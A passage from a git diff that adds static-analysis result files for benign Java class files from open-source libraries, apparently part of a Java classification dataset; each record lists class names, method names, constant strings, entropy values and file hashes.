"ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "DocumentFactory.java", "method_names": ["createSingleton", "", "getInstance", "createDocument", "createDocument", "createDocument", "createDocType", "createElement", "createElement", "createElement", "createAttribute", "createAttribute", "createCDATA", "createComment", "createText", "createEntity", "createNamespace", "createProcessingInstruction", "createProcessingInstruction", "createQName", "createQName", "createQName", "createQName", "createXPath", "createXPath", "createXPathFilter", "createXPathFilter", "createPattern", "getQNames", "getXPathNamespaceURIs", "setXPathNamespaceURIs", "createSingleton", "intern", "createQNameCache", "readObject", "init", "class$", ""], "minor_version": 0, "const_pool_count": 343}}, "_id": "43dbd5a0-cfae-4395-9098-3b5293fae04a", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.61604994645257}, "constant strings": ["org.dom4j.factory", "org.dom4j.DocumentFactory", "org.dom4j.DocumentFactory.singleton.strategy", "org.dom4j.util.SimpleSingleton", "Adding text to an XML document must not be null", "WARNING: Cannot load DocumentFactory: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5bade6e255335fe633d06e6c22f96dbb1c9364d5", "file_name": "java_clean/95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf", "_id": "43dbd5a0-cfae-4395-9098-3b5293fae04a", "score": 0, "entropy": 5.348474772989541, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 9366, "ssdeep": "96:Y7YUal7M6orQfRjWAYbp5A7REVVEWOmLYaeUpfzkAb+lrmEXCVPtjkuXzWz7rsmc:NUal7DHjyEL89armSuRXtmA7j5PBF", "sha256": "95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf", "md5": "c404d48cfba3d691d8fea2268142d3ea", "parent_sha256": "95549b7c15a312f2904a811ee41a907ae003dad10eb56accee6b9322d381fedf"}} \ No newline at end of file diff --git a/java_classification/data/clean/95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41.results b/java_classification/data/clean/95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41.results new file mode 100755 index 0000000..9322271 --- /dev/null +++ b/java_classification/data/clean/95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/scripting/missions/Mission3$4", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "Mission3.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 64}}, "_id": "3a53400e-d5fa-46fe-9cca-501630fde473", "verbose": {"java": {"constant strings": ["Mission-3"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "24316f8186739a8600c52569826c0f6743094cfc", "file_name": "java_clean/95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41", "_id": "3a53400e-d5fa-46fe-9cca-501630fde473", "score": 0, "entropy": 5.293153061568768, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1127, "ssdeep": "24:SLQOwrPh1EiU9ljFBKohV4+fYl4gwfKYAEf5Nj:eQOG1pU9lloX6f/", "sha256": "95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41", "md5": "9a80db2ab72880c52e727aa3100c0de7", "parent_sha256": "95f90cd975bb1fe67722fc035667f2727d745f7331b22ce36cc2eaded042ae41"}} \ No newline at end of file diff --git a/java_classification/data/clean/96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df.results b/java_classification/data/clean/96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df.results new file mode 100755 index 0000000..2e6a1bf --- /dev/null +++ b/java_classification/data/clean/96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/jets3t/service/io/InterruptableInputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/jets3t/service/io/InputStreamWrapper"], "sourcefile": "InterruptableInputStream.java", "method_names": ["", "maybeInterruptInputStream", "read", "read", "available", "close", "getWrappedInputStream", "interrupt", "class$"], "minor_version": 0, "const_pool_count": 136}}, "_id": "2cb18f9f-ceaf-4d0c-a597-ba8cfbf83a18", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.24662970233476}, "constant strings": ["org.jets3t.service.io.InterruptableInputStream", "Input stream interrupted, closing underlying input stream ", "Unable to close underlying InputStream on interrupt", "Reading from input stream deliberately interrupted"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ccf44537ea4186e6f26b6e7b2ca0b7646b867c0e", "file_name": "java_clean/96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df", "_id": "2cb18f9f-ceaf-4d0c-a597-ba8cfbf83a18", "score": 0, "entropy": 5.337981160068501, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2907, "ssdeep": "48:3eLnYy0lyK3DSxDW7TVla5vaiBrKTvyq5jeLfNQ7c03GPWlYqP4t:3I8l/PaEtam403sWlYqP4t", "sha256": "96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df", "md5": "b3884e285a03381892fe0ee61c0e50ba", "parent_sha256": "96b692a8d8127bfaf822cfff5d673139ccbff04d0d2d5ff9e7300ca4f4c199df"}} \ No newline at end of file diff --git a/java_classification/data/clean/984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7.results b/java_classification/data/clean/984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7.results new file mode 100755 index 0000000..fb080ef --- /dev/null +++ b/java_classification/data/clean/984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Maps$4", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/base/Predicate"], "sourcefile": "Maps.java", "method_names": ["", "apply", "apply"], "minor_version": 0, "const_pool_count": 56}}, "_id": "027f40e1-9ee2-4bef-8770-897d9f15aecb", "verbose": {"java": {"signatures": ["(Ljava/util/Map$Entry;)Z", "Ljava/lang/Object;Lcom/google/common/base/Predicate;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b81f48c435e4f567a3321184d67de52a69e1c122", "file_name": "java_clean/984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7", "_id": "027f40e1-9ee2-4bef-8770-897d9f15aecb", "score": 0, "entropy": 5.284352218142867, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1257, "ssdeep": "24:AV6Dulj4TpuxoIx+82xuxp5f2xbIQyfXxjxQHOvHiM7XWfKkqltL:AYKlpfA2PQc7TJZ", "sha256": "984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7", "md5": "7f1b32ce532778150f29a173cf7f2ef4", "parent_sha256": "984e74b071be708c9aec4f3009b26aa6118e322de23b987c1af8e3deb8c502d7"}} \ No newline at end of file diff --git a/java_classification/data/clean/989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5.results b/java_classification/data/clean/989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5.results new file mode 100755 index 0000000..b57e9ea --- /dev/null +++ b/java_classification/data/clean/989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FloatMax.java", "class_name": "org/apache/pig/builtin/FloatMax$Initial", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec", ""], "minor_version": 0, "const_pool_count": 116}}, "_id": "27b65cdb-6ac4-4534-bda0-37e251a08dc7", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing max in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebe36b402e79af0c995b0fa92bc456ac0dfe0954", "file_name": "java_clean/989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5", "_id": "27b65cdb-6ac4-4534-bda0-37e251a08dc7", "score": 0, "entropy": 5.352977609466997, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2263, "ssdeep": "48:xskXyFlnxWJessRtZ1ebCXE8hURtyZe3IqLkAkOmLfIDkSqSc9htd733:KkCFlxWJessRx9XEeURUZrqLZkOcekjJ", "sha256": "989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5", "md5": "c9236ea006a8fced91d14c4ca4bf623a", "parent_sha256": "989328d9005b65751c925210834550d74637195ab05587d3d61b119256728bd5"}} \ No newline at end of file diff --git a/java_classification/data/clean/9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1.results b/java_classification/data/clean/9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1.results new file mode 100755 index 0000000..a237821 --- /dev/null +++ b/java_classification/data/clean/9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/tasktracker_jsp", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["org/apache/jasper/runtime/JspSourceDependent"], "sourcefile": "tasktracker_jsp.java", "method_names": ["", "getDependants", "_jspService"], "minor_version": 0, "const_pool_count": 266}}, "_id": "ccd74bca-6ee4-4935-82ce-b048ae8ee2b2", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.726376217079262, "obfuscated_data": {"substring_brute_force": {"": {"\n\n\n\n

Tasks from Running Jobs

\n
\n\n\n \n\n ": "\\n
Task AttemptsStatusProgressErrors
\\n\\n\\n

Tasks from Running Jobs

\\n
\\n\\n\\n\\n ", "
\n\n

Running tasks

\n
\n
Task AttemptsStatus\\n ProgressErrors
\n\n \n\n ": "
\\n\\n

Running tasks

\\n
\\n
Task AttemptsStatusProgressErrors
\\n\\n\\n "}, "
Task AttemptsStatus\\n ProgressErrors
": {"\n
\n\n\n

Tasks from Running Jobs

\n
\n\n\n \n\n ": "\\n
Task AttemptsStatusProgressErrors
\\n\\n\\n

Tasks from Running Jobs

\\n
\\n\\nStatus\\n ProgressErrors\\n\\n ", "
\n\n

Running tasks

\n
\n
Task Attempts
\n\n \n\n ": "
\\n\\n

Running tasks

\\n
\\n
Task AttemptsStatusProgressErrors
\\nStatus\\n ProgressErrors\\n\\n "}}}}, "constant strings": ["text/html; charset=UTF-8", "task.tracker", "\\n\\n\\n\\n", " Task Tracker Status\\n\\n\\n

", " Task Tracker Status

\\n
\\nVersion: ", ",\\n r", "
\\nCompiled: ", " by \\n ", "
\\n\\n

Running tasks

\\n
\\n
Task Attempts
\\n\\n \\n\\n ", "", "\\n", "\\n
Task AttemptsStatusProgressErrors
", "", "
", "
\\n
\\n\\n

Non-Running Tasks

\\n\\n\\n ", "", "\\n", "\\n
Task AttemptsStatus", "
\\n\\n\\n

Tasks from Running Jobs

\\n
\\n\\n\\n \\n\\n ", "\\n
Task AttemptsStatusProgressErrors
\\n
\\n\\n\\n

Local Logs

\\nLog directory\\n\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2fa3fa30293281bfb9f4d4f07203f9629ec191ba", "file_name": "java_clean/9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1", "_id": "ccd74bca-6ee4-4935-82ce-b048ae8ee2b2", "score": 0, "entropy": 5.888972489655952, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5967, "ssdeep": "96:TDYPFlB429/dTpHUif0UtNMUXqaZK7VBOPmu+GNKMcM13UfP3UlGX3UOmfg:slXP2VQm2f13wP3UKXUg", "sha256": "9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1", "md5": "d7cf96d95123848b1f0082d6186df896", "parent_sha256": "9a5d6cb87aa434a2dba4ae149e7d5a18adeb83ccdca47668874b7c52327060a1"}} \ No newline at end of file diff --git a/java_classification/data/clean/9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1.results b/java_classification/data/clean/9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1.results new file mode 100755 index 0000000..e52410f --- /dev/null +++ b/java_classification/data/clean/9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "com/codeminders/hamake/params/HamakeParameter", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["com/codeminders/hamake/params/Parameter"], "sourcefile": "HamakeParameter.java", "method_names": ["", "", "get", "getName", "setName"], "minor_version": 0, "const_pool_count": 130}}, "_id": "9db2f457-7a2e-4a21-8edd-9d971a90a38f", "verbose": {"java": {"signatures": ["Ljava/util/List<+Lcom/codeminders/hamake/params/ParameterItem;>;", "(Ljava/util/List<+Lcom/codeminders/hamake/params/ParameterItem;>;Lcom/codeminders/hamake/params/ConcatFunction;Lcom/codeminders/hamake/params/ProcessingFunction;)V", "(Ljava/lang/String;Ljava/util/List<+Lcom/codeminders/hamake/params/ParameterItem;>;Lcom/codeminders/hamake/params/ConcatFunction;Lcom/codeminders/hamake/params/ProcessingFunction;)V"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9160c57039012451300f7afb0264fd6b1a7c038a", "file_name": "java_clean/9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1", "_id": "9db2f457-7a2e-4a21-8edd-9d971a90a38f", "score": 0, "entropy": 5.381275819590813, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3551, "ssdeep": "48:l46vIBW/lhJcXJzHh+AM7gnmBS11+O2AlKlgSqLIoFcQ:l46dlaBn1A6KGRxFcQ", "sha256": "9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1", "md5": "6ddc5cb400108848c35efc7b69b0db20", "parent_sha256": "9ada42c130ea3cc30612ddcecffb01dcb3f3454aed28f84895e3d86bc534c9b1"}} \ No newline at end of file diff --git a/java_classification/data/clean/9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781.results b/java_classification/data/clean/9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781.results new file mode 100755 index 0000000..0cef3ba --- /dev/null +++ b/java_classification/data/clean/9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/TechnologyVideoRenderer$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "TechnologyVideoRenderer.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "982a9cb6-99ac-4df6-b3e8-e06cd2a706eb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e9421d674443f7e1760980e215c7b875710a2b76", "file_name": "java_clean/9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781", "_id": "982a9cb6-99ac-4df6-b3e8-e06cd2a706eb", "score": 0, "entropy": 5.400813278297765, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1293, "ssdeep": "24:aWTOwz9MJGx3Jlj2sPVs8kxXmZQKGz+90luDb2ivN/Cp0aQNj33:DO1JG5lT+Ulawla0aQxn", "sha256": "9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781", "md5": "25ec7c8205164b0f758186fcceddf5f5", "parent_sha256": "9b50eee86e65d7b466863af709b492dd120e7ccf0eed825eeebabd8a64d5b781"}} \ No newline at end of file diff --git a/java_classification/data/clean/9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02.results b/java_classification/data/clean/9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02.results new file mode 100755 index 0000000..82e5bb6 --- /dev/null +++ b/java_classification/data/clean/9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Maps.java", "class_name": "com/google/common/collect/Maps$FilteredEntryMap$EntrySet$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "hasNext", "next", "next"], "minor_version": 0, "const_pool_count": 70}}, "_id": "1b2185bd-7cd8-4d7d-9492-c3a94e575855", "verbose": {"java": {"signatures": ["()Ljava/util/Map$Entry;", "Lcom/google/common/collect/UnmodifiableIterator;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f15e65cf683efde459ed53baf901258859d35555", "file_name": "java_clean/9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02", "_id": "1b2185bd-7cd8-4d7d-9492-c3a94e575855", "score": 0, "entropy": 5.267461738118077, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1868, "ssdeep": "24:6Jc60O8CIV2NCGINS88uljZNHzNh3uXxh2xAxaxRaexbIQcxl3NSNnabRNhN108z:6Jc4IVXGUlejaFOEHYw1/OOsp8dg88z", "sha256": "9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02", "md5": "717a33891927670bd4367e02e7f17510", "parent_sha256": "9b994aeaa91b6f025cf7dbe6df1f4fea0b1f2d351c3280bcef0b821be579ba02"}} \ No newline at end of file diff --git a/java_classification/data/clean/9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768.results b/java_classification/data/clean/9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768.results new file mode 100755 index 0000000..1223811 --- /dev/null +++ b/java_classification/data/clean/9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "StaticBucketMap.java", "class_name": "org/apache/commons/collections/StaticBucketMap$Lock", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 45, "method_names": ["", ""], "minor_version": 3, "const_pool_count": 30}}, "_id": "04526b00-c6f4-40c6-8636-e3a2e3ef8c88", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6eab278e75371d9477d27eff861a6ad4baacc6ff", "file_name": "java_clean/9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768", "_id": "04526b00-c6f4-40c6-8636-e3a2e3ef8c88", "score": 0, "entropy": 5.007006303881364, "libmagic": "compiled Java class data, version 45.3", "file_size": 724, "ssdeep": "12:c6SDQulPso4+866jrl0UeRVj1RIDzlHSbe0oQX:c6yQuljV70gexQ", "sha256": "9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768", "md5": "c00739d8a497b7099b7c6b4431a7416f", "parent_sha256": "9ba9bf81505cfb01c1b54944b6e7d13c678ea71318e5bbbe920c0d8fadd82768"}} \ No newline at end of file diff --git a/java_classification/data/clean/9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc.results b/java_classification/data/clean/9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc.results new file mode 100755 index 0000000..24a70a8 --- /dev/null +++ b/java_classification/data/clean/9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/lib/HsqlTaskQueue", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["getTaskRunnerThread", "clearThread", "", "isShutdown", "restart", "execute", "shutdownAfterQueued", "shutdownAfterCurrent", "shutdownImmediately", ""], "minor_version": 0, "const_pool_count": 77}}, "_id": "ddd88b3b-664d-48d3-90f6-0fd8dd036448", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc626c7c56f80c1a8ea61335dfda70117e16d5a9", "file_name": "java_clean/9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc", "_id": "ddd88b3b-664d-48d3-90f6-0fd8dd036448", "score": 0, "entropy": 5.402453554662923, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1587, "ssdeep": "24:IboPG1bNnVsc0XRFei7rlEYkcJIKGuVaz18bxO37Va7+WFkbFpUqz2XR0oM4XS51:Ib2G1JnVsBn97rlJkcJIb5+75S0wr", "sha256": "9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc", "md5": "b4ebfe1c6b113c2ff91fe6696e15c31e", "parent_sha256": "9bf4f322f69ec41d4e55f84a9afb1ec5a4df84fd3d63c5f82477c89e647fdddc"}} \ No newline at end of file diff --git a/java_classification/data/clean/9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830.results b/java_classification/data/clean/9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830.results new file mode 100755 index 0000000..5d3ea86 --- /dev/null +++ b/java_classification/data/clean/9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/tools/PackageStuff$3", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/io/FileFilter"], "sourcefile": "PackageStuff.java", "method_names": ["", "accept"], "minor_version": 0, "const_pool_count": 36}}, "_id": "c232815f-3916-4af7-8f1c-2d94af60953a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "185d4ce2b37689d5e1a7b3f7a2a6479d90e28e77", "file_name": "java_clean/9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830", "_id": "c232815f-3916-4af7-8f1c-2d94af60953a", "score": 0, "entropy": 5.172819677702509, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 749, "ssdeep": "12:9CGdy7bRISDS3O0lPsogTdyCziuM9EGnkdjZwyiU9TTdy/fBMaM+ehZwsr9FeIrJ:7eyyS5ljIlepnuji4HuUEdFU3", "sha256": "9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830", "md5": "e2a275b518c58f3adacbca3046cb9fdb", "parent_sha256": "9c4e9fad28f111823869691aba54c99ee086cd8741463fc8bacf27b8e8364830"}} \ No newline at end of file diff --git a/java_classification/data/clean/9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971.results b/java_classification/data/clean/9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971.results new file mode 100755 index 0000000..2df2a06 --- /dev/null +++ b/java_classification/data/clean/9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/persist/PersistentStore", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["get", "getKeep", "getStorageSize", "add", "restore", "get", "getNewInstance", "remove", "release", "commit"], "minor_version": 0, "const_pool_count": 28}}, "_id": "f581c5d0-b70a-4ee7-be8a-21119a5fdb6a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c62c6d6dbe2b4d5644f6c23a337bb92d71e9f5e2", "file_name": "java_clean/9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971", "_id": "f581c5d0-b70a-4ee7-be8a-21119a5fdb6a", "score": 0, "entropy": 5.105426876207263, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 611, "ssdeep": "12:0JZOyqBYJygCYyt6YxRvRtEEAvzgdKCK2:0JZoBGy1tLHELzgdKCK2", "sha256": "9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971", "md5": "53be60df4dbd4d71b2897e372e7906f5", "parent_sha256": "9c9c0b1d1203c617d7ada2b5937d1cdf6bf38e32d21e628af10638b8bfa1d971"}} \ No newline at end of file diff --git a/java_classification/data/clean/9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa.results b/java_classification/data/clean/9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa.results new file mode 100755 index 0000000..5d05a83 --- /dev/null +++ b/java_classification/data/clean/9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/gson/AnonymousAndLocalClassExclusionStrategy", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/gson/ExclusionStrategy"], "sourcefile": "AnonymousAndLocalClassExclusionStrategy.java", "method_names": ["", "shouldSkipField", "shouldSkipClass", "isAnonymousOrLocal"], "minor_version": 0, "const_pool_count": 48}}, "_id": "298ff0e8-4e6d-4a63-96c3-3e0d333447b6", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)Z", "(Ljava/lang/Class<*>;)Z"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cdd35fa813a35944c662f636e5fba0c9f66dc016", "file_name": "java_clean/9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa", "_id": "298ff0e8-4e6d-4a63-96c3-3e0d333447b6", "score": 0, "entropy": 5.102695496543447, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1152, "ssdeep": "24:9MqyQuljROsdlJNF1oONaMGSB+gGvpEU/tL0Z94W8Q9:HyFltJdlJ5oOwbSBfsr/ta94W8o", "sha256": "9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa", "md5": "a62398f00f99d887fe6c13702ea987a2", "parent_sha256": "9cb96aa4c3b68e96447c9941b9c9f1d758ccfe3f284031b9c7d9971948e680aa"}} \ No newline at end of file diff --git a/java_classification/data/clean/9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3.results b/java_classification/data/clean/9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3.results new file mode 100755 index 0000000..72b790b --- /dev/null +++ b/java_classification/data/clean/9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/EquipmentScreen$27", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "EquipmentScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "be363637-a8e1-4861-aa7e-ecd4feed4ccc", "metadata": {"mimetype": "application/x-java-applet", "sha1": "68f5ed27d887b92dd22bc77c04fc524199debc5c", "file_name": "java_clean/9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3", "_id": "be363637-a8e1-4861-aa7e-ecd4feed4ccc", "score": 0, "entropy": 5.343354194558989, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1293, "ssdeep": "24:a0MuPOwuuPj9uoU9ljOauw09urpVsAhOHMO51oqE4Oe9Oe9ikoJ:LPO8PgoU9l8wrbsIsN9ikoJ", "sha256": "9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3", "md5": "5e4b63bd94fc2e159a788a93834d88ef", "parent_sha256": "9cf72b3bffcdf6387e8641afaa097fcdd040d805414001c8d718b7de45a35ba3"}} \ No newline at end of file diff --git a/java_classification/data/clean/9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8.results b/java_classification/data/clean/9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8.results new file mode 100755 index 0000000..7d1222e --- /dev/null +++ b/java_classification/data/clean/9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/MainScreen$11", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "MainScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 43}}, "_id": "c62709ce-8efc-44ef-9a2e-7d1c38929aed", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a9d9f2aead678e1e53cd47f2cf63d8b5e244103e", "file_name": "java_clean/9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8", "_id": "c62709ce-8efc-44ef-9a2e-7d1c38929aed", "score": 0, "entropy": 5.254622894884946, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 834, "ssdeep": "12:P6NwbRgwzpN9uNFYuZ9lPsoaZN7hNVLNdNJqoBDkn9x4jyiU87DCwDO/+il:yqbOwFHugU9ljaZ7jpVs9x2p6", "sha256": "9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8", "md5": "d049c1691013ec90a348f985c65a2a47", "parent_sha256": "9d0d58bd34fc9da18786b867d04abd3685c7e125e5e0bbc7eb2eff6fcb40c5d8"}} \ No newline at end of file diff --git 